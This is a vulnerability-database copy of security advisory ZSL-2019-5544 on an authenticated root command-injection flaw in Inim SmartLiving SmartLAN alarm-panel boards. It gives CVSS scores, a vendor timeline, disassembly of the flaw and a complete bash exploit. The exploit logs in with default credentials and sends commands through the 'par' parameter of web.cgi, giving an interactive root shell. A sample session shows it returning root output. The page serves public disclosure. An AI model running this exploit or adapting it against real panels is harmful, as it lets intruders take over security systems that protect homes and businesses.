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Gjoko KrsticZSL-2019-5544

HistoryDec 09, 2019 - 12:00 a.m.

Inim Electronics SmartLiving SmartLAN/G/SI <=6.x Root Remote Command Execution

2019-12-0900:00:00

Gjoko Krstic

zeroscience.mk

8.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

9.2 High

AI Score

Confidence

High

9 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

SINGLE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:L/Au:S/C:C/I:C/A:C

0.003 Low

EPSS

Percentile

65.7%

JSON

Title: Inim Electronics SmartLiving SmartLAN/G/SI <=6.x Root Remote Command Execution
Advisory ID: ZSL-2019-5544
Type: Local/Remote
Impact: System Access, DoS
Risk: (5/5)
Release Date: 09.12.2019

Summary

SmartLiving anti-intrusion control panel and security system provides important features rarely found in residential, commercial or industrial application systems of its kind. This optimized-performance control panel provides first-rate features such as: graphic display, text-to-speech, voice notifier, flexible hardware, end-to-end voice transmission (voice-on-bus), IP connectivity.

SMARTLAN/SI: The system-on-chip platform used in the SmartLAN/SI accessory board provides point-to-point networking capability and fast connectivity to the Internet. Therefore, it is possible to set up a remote connection and program or control the system via the SmartLeague software application. In effect, the SmartLAN/SI board grants the same level of access to the system as a local RS232 connection.

SMARTLAN/G: The SmartLAN/G board operates in the same way as the SmartLAN/SI but in addition provides advanced remote-access and communication functions. The SmartLAN/G board is capable of sending event-related e-mails automatically. Each e-mail can be associated with a subject, an attachment and a text message. The attachment can be of any kind and is saved to an SD card. The message text can contain direct links to domains or IP addressable devices, such as a security cameras. In addition to e-mails, the SmartLAN/G board offers users global access to their control panels via any Internet browser accessed through a PC, PDA or Smartphone. In fact, the SmartLAN/G has an integrated web-server capable of distinguishing the means of connection and as a result provides an appropriate web-page for the tool in use. Smartphones can control the system in much the same way as a household keypad, from inside the house or from any part of the world.

Description

SmartLiving SmartLAN suffers from an authenticated remote command injection vulnerability. The issue exist due to the ‘par’ POST parameter not being sanitized when called with the ‘testemail’ module through web.cgi binary. The vulnerable CGI binary (ELF 32-bit LSB executable, ARM) is calling the ‘sh’ executable via the system() function to issue a command using the mailx service and its vulnerable string format parameter allowing for OS command injection with root privileges. An attacker can remotely execute system commands as the root user using default credentials and bypass access controls in place.

Vendor

INIM Electronics s.r.l. - <https://www.inim.biz>

Affected Version

<=6.x
SmartLiving 505
SmartLiving 515
SmartLiving 1050, SmartLiving 1050/G3
SmartLiving 10100L, SmartLiving10100L/G3

Tested On

GNU/Linux 3.2.1 armv5tejl
Boa/0.94.14rc21
BusyBox v1.20.2

Vendor Status

[06.09.2019] Vulnerability discovered.
[10.09.2019] Vendor contacted.
[10.10.2019] No response from the vendor.
[11.10.2019] Vendor contacted.
[29.11.2019] No response from the vendor.
[30.11.2019] Vendor contacted.
[08.12.2019] No response from the vendor.
[09.12.2019] Public security advisory released.

PoC

smartlan_exploit.sh

Credits

Vulnerability discovered by Gjoko Krstic - <[email protected]>

References

[1] <https://www.exploit-db.com/exploits/47765>
[2] <https://packetstormsecurity.com/files/155616>
[3] <https://cxsecurity.com/issue/WLB-2019120046>
[4] <https://exchange.xforce.ibmcloud.com/vulnerabilities/172840>
[5] <https://vulners.com/cve/CVE-2020-21992>
[6] <https://nvd.nist.gov/vuln/detail/CVE-2020-21992>
[7] <https://ubuntu.com/security/CVE-2020-21992>

Changelog

[09.12.2019] - Initial release
[12.12.2019] - Added reference [1], [2], [3] and [4]
[19.06.2021] - Added reference [5], [6] and [7]

Contact

Zero Science Lab

Web: <http://www.zeroscience.mk>
e-mail: [email protected]

<html><body><p>#!/bin/bash
#
#
# Inim Electronics SmartLiving SmartLAN/G/SI &lt;=6.x Root Remote Command Execution
#
#
# Vendor: INIM Electronics s.r.l.
# Product web page: https://www.inim.biz
# Link: https://www.inim.biz/en/antintrusion-control-panels/home-automation/control-panel-smartliving?
# Affected version: &lt;=6.x
# Affected models: SmartLiving 505
#                  SmartLiving 515
#                  SmartLiving 1050, SmartLiving 1050/G3
#                  SmartLiving 10100L, SmartLiving10100L/G3
#
# Summary: SmartLiving anti-intrusion control panel and security system provides
# important features rarely found in residential, commercial or industrial application
# systems of its kind. This optimized-performance control panel provides first-rate
# features such as: graphic display, text-to-speech, voice notifier, flexible hardware,
# end-to-end voice transmission (voice-on-bus), IP connectivity.
#
# SMARTLAN/SI:
# The system-on-chip platform used in the SmartLAN/SI accessory board provides point-to-point
# networking capability and fast connectivity to the Internet. Therefore, it is possible
# to set up a remote connection and program or control the system via the SmartLeague
# software application. In effect, the SmartLAN/SI board grants the same level of access
# to the system as a local RS232 connection.
#
# SMARTLAN/G:
# The SmartLAN/G board operates in the same way as the SmartLAN/SI but in addition provides
# advanced remote-access and communication functions. The SmartLAN/G board is capable of
# sending event-related e-mails automatically. Each e-mail can be associated with a subject,
# an attachment and a text message. The attachment can be of any kind and is saved to an
# SD card. The message text can contain direct links to domains or IP addressable devices,
# such as a security cameras. In addition to e-mails, the SmartLAN/G board offers users
# global access to their control panels via any Internet browser accessed through a PC,
# PDA or Smartphone. In fact, the SmartLAN/G has an integrated web-server capable of
# distinguishing the means of connection and as a result provides an appropriate web-page
# for the tool in use. Smartphones can control the system in much the same way as a
# household keypad, from inside the house or from any part of the world.
#
# Desc: SmartLiving SmartLAN suffers from an authenticated remote command injection vulnerability.
# The issue exist due to the 'par' POST parameter not being sanitized when called with
# the 'testemail' module through web.cgi binary. The vulnerable CGI binary (ELF 32-bit
# LSB executable, ARM) is calling the 'sh' executable via the system() function to issue
# a command using the mailx service and its vulnerable string format parameter allowing
# for OS command injection with root privileges. An attacker can remotely execute system
# commands as the root user using default credentials and bypass access controls in place.
#
# ================= dissassembly of vuln function =================
#
#[0x0000c86c]&gt; pd @ 0x000c86c
#| ;-- pc:
#| ;-- r15:
#| 0x0000c86c    ldr r1, str.testemail       ; [0xed96:4]=0x74736574 ; "testemail" ; const char * s2
#| 0x0000c870    bl sym.imp.strcmp           ; int strcmp(const char *s1, const char *s2)
#| 0x0000c874    cmp r0, 0
#| 0x0000c878    bne 0xc8b8
#| 0x0000c87c    cmp sl, 0
#| 0x0000c880    beq 0xd148
#| 0x0000c884    bl sym.set_no_cache
#| 0x0000c888    add r5, sp, 0x20
#| 0x0000c88c    mov r0, r4
#| 0x0000c890    ldr r1, str.application_json ; [0xeda0:4]=0x6c707061 ; "application/json"
#| 0x0000c894    bl sym.imp.qcgires_setcontenttype
#| 0x0000c898    mov r0, r5                  ; char *s
#| 0x0000c89c    mov r1, 0xc8                ; 200 ; size_t
#| 0x0000c8a0    ldr r2, str.echo__Hello_____mailx__s__Email_test___s ; [0xedb1:4]=0x6f686365 ; "echo \"Hello!\" | mailx -s \"Email test\" %s" ; con
#| 0x0000c8a4    mov r3, r8                  ; ...
#| 0x0000c8a8    bl sym.imp.snprintf         ; int snprintf(char *s,
#| 0x0000c8ac    mov r0, r5                  ; const char * string
#| 0x0000c8b0    bl sym.imp.system           ; int system(const char *string)
#| 0x0000c8b4    b 0xd134
#|
#| system() @0x0000c8b0 arguments: "sh -c echo "Hello!" | mailx -s "Email test" %s"
#| Trigger suggest: $(curl -sik http://192.168.1.17/cgi-bin/web.cgi -X POST --data "mod=testemail&amp;par=;/sbin/ifconfig" --cookie "user=admin;pass=pass;code=9999")
#| Process: 1351 root       0:00 sh -c echo "Hello!" | mailx -s "Emaiil test" ;/sbin/ifconfig
#|__
# =================================================================
#
# -----------------------------------------------------------------
#
# root@kali:~# ./xpl.sh https://192.168.1.17
# 
# Checking target: https://192.168.1.17
# ACCESS GRANTED!
# 
# root@ssl&gt; id; uname -a; getconf LONG_BIT; cat ../version.html; pwd
# uid=0(root) gid=0(root) groups=0(root),10(wheel)
# Linux SmartLAN 3.2.1 #195 PREEMPT Thu May 30 15:26:27 CEST 2013 armv5tejl GNU/Linux
# 32
# <!-- SLF6.07 10100 -->
# </p><h2>
# SmartLiving 6.07 10100
# <br/><br/>SmartLAN/G v. 6.11
# /www/cgi-bin
# root@ssl&gt; exit
# root@kali:~/# 
#
# -----------------------------------------------------------------
#
# Tested on: GNU/Linux 3.2.1 armv5tejl
#            Boa/0.94.14rc21
#            BusyBox v1.20.2
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
#                             @zeroscience
#
#
# Advisory ID: ZSL-2019-5544
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5544.php
#
#
# 06.09.2019
#

URL=$1
CGI="/cgi-bin/web.cgi"
COOK="user=admin;pass=pass;code=9999"
COOK1="user=admin;pass=pass;code=9998"
COOK2="user=user;pass=pass;code=0001"
PARAMS="mod=testemail&amp;par=;"
CHECK=${URL:4:1}

if [ "$#" -ne 1 ]; then
	echo -en "\e[34m"
	echo "==============================================="
	echo " SmartLiving  SmartLAN 6.x Remote Root Exploit"
	echo -e "\t\tZSL-2019-5544"
	echo "==============================================="
	echo -en "\e[00m"
	echo -e "\nUsage: $0 http(s)://ip:port\n"
    exit 0
fi

echo -ne "\nChecking target: $URL\n"

if [ "$CHECK" == "s" ]; then
	TEST=$(curl -sIk $URL 2&gt;/dev/null | head -1 | awk -F" " '{print $2}')
	if [[ "$?" = "7" ]] || [[ $TEST != "200" ]]; then
		echo "HTTPS with error!"
		exit 0
	fi
	if curl -sik -X POST "$URL$CGI" -H "Cookie: $COOK" -d"${PARAMS}id" | grep uid 1&gt;/dev/null
	then
		echo -e "ACCESS GRANTED!\n"
	else
		echo "Invalid credentials."
		exit 0
	fi
	while true; do
		R="$(tput sgr0)"
		S="$(tput setaf 2)"
		read -rp "${S}root@ssl&gt;${R} " CMD
		if [[ "$CMD" == "exit" ]]; then
			exit 0
		fi
		curl -sik -X POST "$URL$CGI" -H "Cookie: $COOK" -d"$PARAMS${CMD}" | awk "/Connection: close/{j=1;next}j" | head -n -5 
	done
else
	TEST=$(curl -sI $URL 2&gt;/dev/null | head -1 | awk -F" " '{print $2}')
	if [[ "$?" = "7" ]] || [[ $TEST != "200" ]]; then
		echo "HTTP with error!"
		exit 0
	fi
	if curl -si -X POST "$URL$CGI" -H "Cookie: $COOK" -d"${PARAMS}id" | grep uid 1&gt;/dev/null
	then
		echo -e "ACCESS GRANTED!\n"
	else
		echo "Invalid credentials."
		exit 0
	fi
	while true; do
		R="$(tput sgr0)"
		S="$(tput setaf 2)"
		read -rp "${S}root@http&gt;${R} " CMD
		if [[ "$CMD" == "exit" ]]; then
			exit 0
		fi
		curl -si -X POST "$URL$CGI" -H "Cookie: $COOK" -d"$PARAMS${CMD}" | awk "/Connection: close/{j=1;next}j" | head -n -5
	done
fi
</h2></body></html>

8.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

9.2 High

AI Score

Confidence

High

9 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

SINGLE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:L/Au:S/C:C/I:C/A:C

0.003 Low

EPSS

Percentile

65.7%

JSON

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